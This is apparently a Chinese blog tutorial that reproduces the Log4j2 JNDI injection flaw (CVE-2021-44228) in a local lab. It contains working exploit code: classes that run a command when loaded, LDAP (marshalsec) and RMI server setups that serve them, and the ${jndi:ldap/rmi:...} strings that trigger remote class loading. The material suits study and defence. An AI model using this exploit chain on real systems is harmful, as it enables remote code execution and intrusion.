Log4j2的JNDI注入漏洞(CVE-2021-44228)

声明

好好学习,天天向上

漏洞简述

Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

影响范围:Apache Log4j 2.x<=2.14.1

漏洞原理

log4j2是一个日志工具,说白了就是打印日志的,就比如打印一些web日志,用户访问日志,程序执行日志这种,传统上日志打印一般是打印本机日志,就像windows的event只打印本系统的日志,log4j2中的lookup功能下的JNDI Lookup模块,这个模块允许远程打印日志,也就是去请求远程服务器上的程序,去打印其日志,并且对远程处理这个过程没有做校验,那如果是远程去获取正常程序从而打印日志,当然没问题,如果是攻击者提供的一个恶意程序,那么就会解析并执行恶意代码。

在JNDI支持的众多协议中,只有LDAP和RMI存在远程代码执行。

过程大概为:攻击者通过LDAP/RMI开放了恶意的代码(LDAP/RMI地址),攻击者引诱开发人员(log4j2)去打印LDAP/RMI的地址,那么自然就会找到攻击者的恶意代码,从而执行

漏洞复现

使用IDEA+log4j2 1.14.1

创建maven项目,项目名字自定义

在这里插入图片描述

在这里插入图片描述

创建好后,将log4j引入

扫描二维码关注公众号,回复: 16716632 查看本文章
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

在这里插入图片描述

LDAP

创建类Log4jStudy能成功输入日志就说明环境没问题了,不要忘了reload(项目上右键->maven->reload project)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jStudy {
    public static final Logger logger = LogManager.getLogger(Log4jStudy.class);
    public static void main(String[] args){
        logger.error("123");
    }
}

在这里插入图片描述

我们来做一个准备,这个复现过程需要一个marshalsec-0.0.3-SNAPSHOT-all.jar,这个源码在

https://github.com/mbechler/marshalsec

将源码拉下来后,通过maven可以打成jar包

mvn clean package -DskipTests

在这里插入图片描述

打包成功后,在target中可以找到打好的包

在这里插入图片描述

有了这个工具就可以利用这个漏洞了

创建一个叫做POC的类,目标执行calc调出计算器

import java.io.IOException;

public class POC {
    public POC() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

    }
}

把这个POC编译成class

在这里插入图片描述

通过python或者其他web站点都行,对外开放站点,要让对外的可以访问到这个POC.class,我这里的端口是10000

python -m http.server 10000

在这里插入图片描述

再让刚刚编译好的marshalsec-0.0.3-SNAPSHOT-all.jar工具,开放一个ldap服务,这个服务访问刚刚的10000站点的POC.class,然后这个服务的端口是10001

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:10000/#POC" 10001

在这里插入图片描述

最后,创建一个主类Log4jRCE,通过log4j打印日志的方式,来调用10001上的ldap服务

import  org.apache.logging.log4j.LogManager;
import  org.apache.logging.log4j.Logger;

public class Log4jRCE {
    public static final Logger logger = LogManager.getLogger(Log4jRCE.class);
    public static void main(String[] args){
        logger.error("${jndi:ldap://localhost:10001/Payload}");
    }

}

在这里插入图片描述

RMI

原理都一样,我们还是先构造一个恶意类EvilObj,用于最终的代码执行

package rmi;

import java.io.IOException;

public class EvilObj {
    static {
        System.out.println("开始执行恶意代码");

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

再构造一个RMIServer,用于把上面那个恶意类通过RMI开放出去

package rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 启动rmi服务,端口使用默认的1099
            LocateRegistry.createRegistry(1099);
            Registry registy = LocateRegistry.getRegistry();
            // 创建资源为rmi.EvilObj
            Reference reference = new Reference("rmi.EvilObj", "rmi.EvilObj", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            //绑定资源到evil,需要受害者进行访问${jndi:rmi://192.168.2.99/evil}
            registy.bind("evil", referenceWrapper);
            System.out.println("RMI服务初始化完成");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们只需要启动这个类就好,至此,攻击方的准备工作已经完毕

在这里插入图片描述

最后,就是触发的地方,我们假设有个功能类Log4jRCE,这个类是把用户输入的用户名直接通过log4j进行日志打印,这个功能在实际开发中很常见,比如用户登录日志不就得记录用户名吗,或者登录失败超过一定次数等等

这个类是获取用户的键盘输入,然后打印,我们直接输入我们的“用户名”:${jndi:rmi://192.168.2.99/evil}

package rmi;

import  org.apache.logging.log4j.LogManager;
import  org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class Log4jRCE {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args){
        System.out.println("开始攻击");

        //创建一个扫描器对象,用于接收键盘数据
        Scanner scanner = new Scanner(System.in);
        //next方式接收字符串(不可以接收空格)
        System.out.println("请输入您的用户名:");
        //判断用户还有没有输入字符
        if (scanner.hasNext()) {
            //        String username = "${jndi:rmi://192.168.2.99/evil}";
            String username = scanner.next();

            logger.error("记录一次用户的用户名 : " + username + "\n");
        }
        scanner.close();

    }
}

直接通过RMIServer的RMI协议访问了EvilObj,从而执行了calc

在这里插入图片描述

漏洞跟踪

打开debug

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/127306117